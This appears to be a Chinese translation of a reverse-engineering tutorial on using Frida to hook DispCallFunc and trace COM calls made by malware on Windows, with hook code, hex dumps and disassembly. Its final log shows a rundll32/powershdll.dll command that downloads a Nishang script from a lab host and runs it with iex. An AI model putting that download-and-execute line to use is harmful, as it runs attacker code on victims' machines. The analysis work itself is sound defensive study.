           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  a4 82 5b 0e 8c 6a fa 23 74 85 5b 0e 8c 67 ef 00  ..[..j.#t.[..g..
00000020  fa 17 be 1b 8c 67 ef 00 d0 6a 2e 75 e0 f1 c0 0c  .....g...j.u....
00000030  60 91                                            `.
[+] address: 0xe5b82a4
length: 26
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00  W.S.c.r.i.p.t...
00000010  53 00 68 00 65 00 6c 00 6c 00                    S.h.e.l.l.

0x03 DispCallFunc 函数

有趣的API之一是DispCallFunc函数,此函数用于调用COM方法,通过监视此API,我们可以更好地了解恶意软件正在试图做什么。

该函数的原型如下所示。

HRESULT DispCallFunc(
  void       *pvInstance,
  ULONG_PTR  oVft,
  CALLCONV   cc,
  VARTYPE    vtReturn,
  UINT       cActuals,
  VARTYPE    *prgvt,
  VARIANTARG **prgpvarg,
  VARIANT    *pvargResult
);

第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,你可以找到COM调用最终将调用的函数。

以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。

function hookDispCall(moduleName) {
  hookFunction(moduleName, "DispCallFunc", {
    onEnter: function (args) {
      log("[+] DispCallFunc")
      var pvInstance = args[0]
      var oVft = args[1]
      var instance = ptr(ptr(pvInstance).readULong());

      log(' instance:' + instance);
      log(' oVft:' + oVft);
      var vftbPtr = instance.add(oVft)
      log(' vftbPtr:' + vftbPtr);
      var functionAddress = ptr(ptr(vftbPtr).readULong())

      loadModuleForAddress(functionAddress)
      var functionName = DebugSymbol.fromAddress(functionAddress)

      if (functionName) {
        log(' functionName:' + functionName);
      }

      dumpAddress(functionAddress);

      var currentAddress = functionAddress
      for (var i = 0; i < 10; i++) {
        try {
          var instruction = Instruction.parse(currentAddress)
          log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
          currentAddress = instruction.next
        } catch (err) {
          break
        }
      }
    }
  })
}

下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。

[+] DispCallFunc
 instance:0x69901070
 oVft:0x24
 vftbPtr:0x69901094
 functionAddress:0x69906260
 modules.length:133
 wshom.ocx: 0x69900000 147456 C:\Windows\System32\wshom.ocx
  DebugSymbol.loadModule C:\Windows\System32\wshom.ocx
  DebugSymbol.loadModule loadedModuleBase: true
 functionName:0x69906260 wshom.ocx!CWshShell::Run

[+] address: 0x69906260
           0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  8b ff 55 8b ec 81 ec 5c 08 00 00 a1 b4 52 91 69  ..U....\.....R.i
00000010  33 c5 89 45 fc 8b 45 10 8b 4d 14 8b 55 18 89 85  3..E..E..M..U...
00000020  f8 f7 ff ff 89 8d ec f7 ff ff 89 95 e4 f7 ff ff  ................
00000030  c7 85                                            ..

0x69906260: mov edi, edi
0x69906262: push ebp
0x69906263: mov ebp, esp
0x69906265: sub esp, 0x85c
0x6990626b: mov eax, dword ptr [0x699152b4]
0x69906270: xor eax, ebp
0x69906272: mov dword ptr [ebp - 4], eax
0x69906275: mov eax, dword ptr [ebp + 0x10]
0x69906278: mov ecx, dword ptr [ebp + 0x14]
0x6990627b: mov edx, dword ptr [ebp + 0x18]

此外,你可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll DLL的主要功能运行PowerShell命令来运行PowerShell。

⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\\Windows\\System32\\rundll32.exe', argv=['C:\\Windows\\System32\\rundll32.exe', 'C:\\Users\\tester\\AppData\\Local\\Temp\\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)

0x04 分析总结

Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具,WinDbgOllyDbgPyKD用于高级逆向,他们有自己的位置和用法。但是,对于真正快速和重复的分析工作,Frida绰绰有余,并且具有转储和分析程序行为的强大功能。有了Frida 12.9.8,我们现在有了更好的符号处理能力,这将提高整体可用性和生产率。

本文翻译自:https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/NpnD
如有侵权请联系:admin#unsafe.sh